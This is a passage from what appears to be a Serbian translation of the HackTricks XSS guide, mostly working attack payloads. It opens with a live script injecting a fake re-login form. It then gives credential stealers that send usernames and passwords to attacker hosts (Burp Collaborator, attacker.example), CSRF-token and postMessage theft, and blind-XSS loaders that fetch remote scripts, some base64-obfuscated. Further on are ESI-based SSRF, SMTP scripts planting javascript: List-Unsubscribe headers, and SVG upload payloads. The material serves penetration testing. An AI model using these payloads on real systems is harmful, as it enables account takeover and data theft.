<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Hvatanje lozinki iz automatskog popunjavanja

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Ako je kritični handler (npr., function DoLogin(){...}) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši const sa istim imenom prvo da preempt-uješ i zaključaš handler. Kasnije function deklaracije ne mogu rebind-ovati const ime, ostavljajući tvoj hook pod kontrolom:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Napomene

  • Ovo zavisi od redosleda izvršavanja: vaša injekcija mora da se izvrši pre legitimne deklaracije.
  • Ako je vaš payload umotan u eval(...), const/let bindings neće postati globals. Koristite dinamičku <script> injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” da obezbedite pravi global, non-rebindable binding.
  • Kada keyword filteri blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom eval(atob('...')), kao što je prikazano gore.

Keylogger

Samo pretraživanjem na github-u našao sam nekoliko različitih:

Krađa CSRF tokena

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Krađa PostMessage poruka

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin učitači skripti (opener-gated)

Ako stranica sačuva event.origin iz postMessage i kasnije ga konkatenira u URL skripte, pošiljalac kontroliše origin učitane JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Recept za eksploataciju (iz CAPIG):

  • Gates: pokreće se samo kada window.opener postoji i pixel_id je allowlisted; origin se nikada ne proverava.
  • Use CSP-allowed origin: pivot na domen koji je već dozvoljen od strane victim CSP (npr. help stranice bez prijave koje dopuštaju analytics kao *.THIRD-PARTY.com) i hostujte /sdk/<pixel_id>/iwl.js tamo putem takeover/XSS/upload.
  • Restore opener: u Android WebView, window.name='x'; window.open(target,'x') čini da stranica postane njen sopstveni opener; pošaljite maliciozni postMessage iz hijackovanog iframe-a.
  • Trigger: iframe šalje {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; parent onda učitava napadačev iwl.js iz CSP-allowed origin i izvršava ga.

Ovo pretvara origin-less postMessage validaciju u remote script loader primitive koja preživljava CSP ako možete dospeti na bilo koji origin koji je već dozvoljen politikom.

Supply-chain stored XSS via backend JS concatenation

When a backend builds a shared SDK by concatenating JS strings with user-controlled values, any quote/structure breaker can inject script that is served to every consumer:

  • Example pattern (Meta CAPIG): server appends cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); directly into capig-events.js.
  • Injecting ' or "]} closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).

Stored XSS in generated reports when escaping is disabled

If uploaded files are parsed and their metadata is printed into HTML reports with escaping disabled (|safe, custom renderers), that metadata is a stored XSS sink. Example flow:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Django šablon renderuje {{item|key:"title"|safe}}, tako da se napadačev HTML izvršava.

Exploit: stavite HTML enkodovan entitetima u bilo koje polje manifest/config koje dospe u izveštaj:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

Kada se renderuje sa |safe, izveštaj ispisuje <img ...> i pokreće JS prilikom pregleda.

Hunting: tražite report/notification buildere koji ponovo koriste parsed fields u %s/f-strings i isključuju auto-escape. Jedan enkodiran tag u otpremljenom manifest/log/archive dovodi do trajnog XSS-a za svakog ko ga pregleda.

Zloupotreba Service Workers

Abusing Service Workers

Pristupanje Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Takođe možete koristiti: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Pristup skrivenom sadržaju

Iz this writeup može se saznati da čak i ako neke vrednosti nestanu iz JS, i dalje ih je moguće pronaći u JS atributima u različitim objektima. Na primer, input REGEX-a se i dalje može pronaći čak i nakon što je vrednost inputa REGEX-a uklonjena:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Lista

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS - zloupotreba drugih ranjivosti

XSS u Markdown

Može li se ubaciti Markdown kod koji će biti renderovan? Možda tako dobijete XSS! Pogledaj:

XSS in Markdown

XSS u SSRF

Imate XSS na sajtu koji koristi keširanje? Pokušajte to nadograditi u SSRF pomoću Edge Side Include Injection koristeći ovaj payload:

<esi:include src="http://yoursite.com/capture" />

Iskoristite ga da zaobiđete cookie restrictions, XSS filters i mnogo više!
Više informacija o ovoj tehnici ovde: XSLT.

XSS u dinamički kreiranom PDF-u

Ako veb-stranica kreira PDF koristeći input koji kontroliše korisnik, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete iskoristiti ovo ponašanje da izazovete Server XSS.

Server Side XSS (Dynamic PDF)

Ako ne možete da ubacite HTML tagove, vredi pokušati da ubacite PDF podatke:

PDF Injection

XSS u Amp4Email

AMP, namenjen ubrzavanju performansi veb-stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa akcentom na brzinu i bezbednost. Podržava niz komponenti za razne funkcije, dostupnih putem AMP components.

The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.

Primer writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

Stored XSS via javascript: URIs

  1. Pošaljite sebi email gde header upućuje na javascript: URI, pritom ostavljajući ostatak poruke bezopasnim kako spam filteri ne bi odbacili poruku.
  2. Uverite se da UI renderuje tu vrednost (mnogo klijenata je prikazuje u “List Info” panelu) i proverite da li rezultujući <a> tag nasleđuje atribute koje kontroliše napadač kao što su href ili target.
  3. Pokrenite izvršenje (npr. CTRL+click, srednji klik, ili “open in new tab”) kada link koristi target="_blank"; pregledači će evaluirati dostavljeni JavaScript u originu webmail aplikacije.
  4. Posmatrajte stored-XSS primitiv: payload ostaje sa emailom i zahteva samo jedan klik za izvršenje.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Bajt novog reda (%0a) u URI-ju pokazuje da čak i neuobičajeni karakteri prežive rendering pipeline u ranjivim klijentima kao što je Horde IMP H5, koji će ispisati string doslovno unutar anchor taga.

Minimalni SMTP PoC koji isporučuje zlonamerni List-Unsubscribe header ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-side unsubscribe proxies -> SSRF

Neki klijenti, kao što je Nextcloud Mail app, proksišu akciju otkazivanja pretplate na serverskoj strani: klik na dugme naloži serveru da sam dohvati prosleđeni URL. To pretvara header u SSRF primitiv, naročito kada administratori postave `'allow_local_remote_servers' => true` (dokumentovano u [HackerOne report 2902856](https://hackerone.com/reports/2902856)), što omogućava zahteve ka loopback i RFC1918 opsezima.

1. **Kreirajte email** gde `List-Unsubscribe` cilja endpoint koji kontroliše napadač (za blind SSRF koristite Burp Collaborator / OAST).
2. **Sačuvajte** `List-Unsubscribe-Post: List-Unsubscribe=One-Click` tako da UI prikazuje dugme za otkazivanje pretplate jednim klikom.
3. **Ispunite zahteve poverenja**: Nextcloud, na primer, obavlja HTTPS unsubscribe zahteve samo kada poruka prođe DKIM, tako da napadač mora potpisati email koristeći domen koji kontroliše.
4. **Dostavite poruku** u poštansko sanduče koje obrađuje ciljni server i sačekajte da korisnik klikne dugme za otkazivanje pretplate.
5. **Posmatrajte serverski callback** na collaborator endpointu, zatim pivotirajte na interne adrese kada je primitiv potvrđen.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe poruka za testiranje SSRF-a ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Napomene za testiranje**

- Koristite OAST endpoint da prikupite blind SSRF hitove, a zatim prilagodite `List-Unsubscribe` URL da cilja `http://127.0.0.1:PORT`, metadata services, ili druge interne hostove kada se iskorišćavanje potvrdi.
- Pošto unsubscribe helper često ponovo koristi isti HTTP stack kao aplikacija, nasleđujete njegove proxy settings, HTTP verbs, i header rewrites, što omogućava dodatne traversal tricks opisane u [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS upload fajlova (svg)

Postavite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Pronađite više SVG payloads na https://github.com/allanlw/svg-cheatsheet

Ostali JS trikovi i relevantne informacije

Misc JS Tricks & Relevant Info

XSS resursi

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks